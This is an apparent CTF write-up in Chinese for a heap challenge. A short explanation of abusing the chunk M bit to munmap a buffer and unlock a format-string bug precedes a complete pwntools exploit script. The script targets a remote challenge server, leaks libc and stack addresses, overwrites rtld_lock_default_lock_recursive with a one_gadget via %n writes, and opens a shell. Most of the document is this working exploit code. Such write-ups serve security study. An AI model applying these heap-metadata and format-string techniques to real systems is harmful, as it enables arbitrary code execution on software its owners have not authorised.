这个题很有意思,考查到了不是很常用的chunk低三位里的M位,当M位为1的时候,表示chunk是由mmap申请出来的
题目结构是常见的菜单堆题,在异或的部分有一个小溢出
然后在exit中给了一个格式化字符串,但是有一个条件:
即必须要write(1,buf,0xa)失败,而buf是程序一开始申请的一个chunk,即便我们把它free掉或者做什么处理,至少不会让write失败,能让它返回-1的唯一条件是buf变成指向一块无法访问的内存,那么什么样的内存无法访问,被munmap收回的内存无法访问,所以做法是通过异或处的小溢出修改M位以及presize,然后将其free掉,就可以让内存被收回,这里要注意mmap的内存是页对齐的,所以在布置chunk的时候也要求页对齐
有了无限制的格式化字符串,想咋打咋打了就
from pwn import *
context.log_level = 'debug'
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
def menu(idx):
sla('choice: ',str(idx))
def add(size,con):
menu(1)
sla('Size: ',str(size))
sa('Content: ',con)
def edit(idx,con):
menu(2)
sla('Index: ',str(idx))
sa('Content: ',con)
def free(idx):
menu(3)
sla('Index: ',str(idx))
def fmt(_str):
sla("INPUT:",_str)
ru('\n')
# p = process('./pwn')
p = remote("129.211.173.64","10004")
libc = ELF('./pwn').libc
exit_got = ELF("./pwn").got['exit']
one = [0xe6c7e,0xe6c81,0xe6c84]
# gdb.attach(p,'b *$rebase(0x17C9)')
sla("Please tell me your lucky number(0x2-0xF):\n",str(3))
add(0xd18,'\x00')
add(0x18,'\x00')
add(0xff8,'\x00')
pl = '\x00'*0x10+p64(0x0303030303032303)
edit(1,pl)
free(2)
menu(4)
#leak libcbase
fmt("%11$p")
base = int(rud('\n'),16)-libc.sym['__libc_start_main']-243
rg = base+0x222060
rldlr = rg+0xF08
ogg = base+one[0]
success(hex(base))
#leak stack
fmt("%8$p")
stack = int(rud('\n'),16)&0xffff
#%13-->%41-->%40
pl = '%'+str(stack)+'c%13$hn'
fmt(pl)
# rtld_lock_default_lock_recursive
low = rldlr&0xffff
mid = (rldlr>>16)&0xffff
high = (rldlr>>32)&0xffff
pl = '%'+str(low)+'c%41$n'
fmt(pl)
pl = '%'+str(stack+2)+'c%13$hhn'
fmt(pl)
pl = '%'+str(mid)+'c%41$n'
fmt(pl)
pl = '%'+str(stack+4)+'c%13$hn'
fmt(pl)
pl = '%'+str(high)+'c%41$n'
fmt(pl)
pl = '%'+str(stack)+'c%13$hn'
fmt(pl)
#rtld_lock_default_lock_recursive->ogg
o_low = ogg&0xffff
o_mid = (ogg>>16)&0xffff
o_high = (ogg>>32)&0xffff
pl = '%'+str(o_low)+'c%40$hn'
fmt(pl)
pl = '%'+str(low+2)+'c%41$hhn'
fmt(pl)
pl = '%'+str(o_mid)+'c%40$hn'
fmt(pl)
pl = '%'+str(low+4)+'c%41$hhn'
fmt(pl)
pl = '%'+str(o_high)+'c%40$hn'
fmt(pl)
fmt('exit\n\x00')
print(hex(o_high),hex(o_mid),hex(o_low))
shell()